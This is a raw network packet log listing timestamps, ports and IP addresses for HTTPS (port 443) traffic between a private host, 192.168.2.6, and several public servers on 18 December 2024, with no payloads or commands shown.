Dec 18, 2024 21:11:09.447357893 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.447377920 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.447432995 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.459117889 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.459466934 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.459536076 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.460572958 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.460602045 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.460647106 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.460673094 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.460711002 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.460728884 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.461219072 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.461297035 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.461802006 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.461839914 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.461880922 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.461889029 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.461915016 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.461935043 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.462843895 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.462975025 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.463234901 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.463258982 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.463438034 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.463465929 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.463510036 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.463536978 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.463587046 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.463601112 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.465204954 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.465230942 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.465269089 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.465286970 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.465320110 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.465343952 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.475780010 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.475809097 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.475862026 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.475878954 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.475908995 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.475930929 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.477437019 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.477466106 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.477509975 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.477518082 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.477560043 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.477582932 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.478782892 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.478816986 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.478851080 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.478878021 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.478905916 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.478926897 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.479664087 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.479696989 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.479748964 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.479758024 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.479788065 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.479803085 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.485354900 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.485382080 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.485424995 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.485436916 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.485481024 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.490700960 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.490735054 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.490783930 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.490792036 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.490845919 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.493108988 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.493141890 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.493191004 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.493204117 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.493237019 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.493257046 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.494247913 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.494267941 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.494328976 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.494337082 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.494379044 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.497217894 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.497245073 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.497282982 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.497289896 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.497343063 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.502566099 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.502585888 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.502687931 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.502708912 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.502775908 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.503155947 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.505979061 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.506012917 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.506095886 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.506104946 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.506135941 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.506156921 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.506932020 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.506958008 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.507000923 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.507006884 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.507030964 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.507052898 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.509965897 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.509996891 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.510054111 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.510082006 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.510132074 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.514524937 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.514578104 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.514636993 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.514651060 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.514688015 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.514708996 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.520565033 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.520597935 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.520649910 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.520679951 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.520694017 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.520833015 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.523668051 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.523686886 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.523792982 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.523808956 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.523888111 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.523912907 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.523941040 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.523998022 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.524004936 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.524063110 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.542306900 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.542344093 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.542422056 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.542452097 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.542484045 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.542506933 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.621454000 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.621489048 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.621546030 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.621563911 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.621608973 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.628925085 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.628953934 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.629050970 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.629060030 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.629107952 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.629647017 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.629678011 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.629722118 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.629729986 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.629764080 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.629793882 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.635792017 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.635818005 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.635957003 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.635982037 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.636024952 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.638432980 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.638463974 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.638556957 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.638565063 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.638603926 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.639379025 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.639408112 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.639475107 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.639483929 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.639524937 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.640089035 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.640110970 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.640193939 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.640201092 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.640238047 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.645035982 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.645056009 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.645132065 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.645142078 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.645181894 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.648011923 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.648041964 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.648158073 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.648165941 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.648215055 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.650585890 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.650613070 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.650652885 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.650676966 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.650691986 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.650721073 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.653315067 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.653335094 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.653418064 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.653424978 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.653465033 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.655472040 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.655473948 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.655499935 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.655503035 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.655544043 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.655551910 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.655626059 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.655649900 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.655680895 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.655692101 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.663414955 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.663460970 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.663500071 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.663522959 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.663552999 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.663644075 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.665003061 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665026903 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665103912 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.665113926 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665174007 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.665426016 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665465117 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665505886 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.665517092 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665540934 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.665564060 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.665946007 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.665971994 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.666009903 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.666016102 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.666045904 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.666064024 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.673409939 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.673435926 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.673501968 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.673508883 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.673547983 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.673571110 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.675095081 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.675123930 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.675164938 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.675192118 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.675220013 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.675247908 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.676382065 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.676449060 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.676467896 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.676480055 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.676512957 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.676532984 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.676939964 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.677011967 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.677041054 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.677053928 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.677082062 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.677099943 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.685131073 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.685158014 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.685220957 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.685245037 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.685270071 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.685291052 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.686248064 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.686275959 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.686352968 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.686371088 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.686470985 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.690062046 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.690090895 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.690130949 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.690154076 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.690172911 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.690192938 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.690730095 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.690805912 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.690828085 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.690841913 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.690866947 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.690886974 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.693552971 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.693573952 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.693666935 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.693682909 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.693712950 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.693730116 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698254108 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698304892 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698321104 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698334932 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698359966 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698380947 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698394060 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698457003 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698477030 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698518991 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698565960 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698565960 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.698580027 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.698708057 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.700247049 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.700265884 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.701041937 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.701066017 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.701109886 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.701117992 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.701164961 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.703710079 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.703737020 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.703784943 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.703794003 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.703826904 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.703846931 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.708314896 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.708379984 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.708384991 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.708430052 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.708507061 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.708527088 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.708540916 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.708709955 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.723680973 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.723745108 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.723895073 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.724555969 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.724572897 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.724615097 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.724634886 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.799761057 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.811980963 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.812009096 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.812093019 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.812113047 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.812180042 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.819190979 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.819219112 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.819259882 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.819286108 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.819338083 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.819367886 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.823215008 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.823245049 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.823309898 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.823343992 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.823383093 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.823406935 CET	49748	443	192.168.2.6	150.171.27.10
